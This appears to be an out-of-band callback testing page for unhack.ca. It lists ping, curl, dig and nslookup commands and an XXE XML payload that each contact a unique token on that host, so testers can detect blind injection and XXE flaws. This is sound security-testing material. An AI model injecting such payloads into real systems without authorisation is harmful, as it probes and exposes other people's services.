$ ping -c1 -p 00acc9ca3afd86345276c190e55b2c00 unhack.ca
 
$ curl http://unhack.ca/p/acc9ca3afd86345276c190e55b2c
 
$ dig acc9ca3afd86345276c190e55b2c @unhack.ca
 
$ dig acc9ca3afd86345276c190e55b2c.ns.unhack.ca
 
C:\> nslookup acc9ca3afd86345276c190e55b2c unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/acc9ca3afd86345276c190e55b2c">]>
    <foo>&xxe;</foo>
Waiting for ping...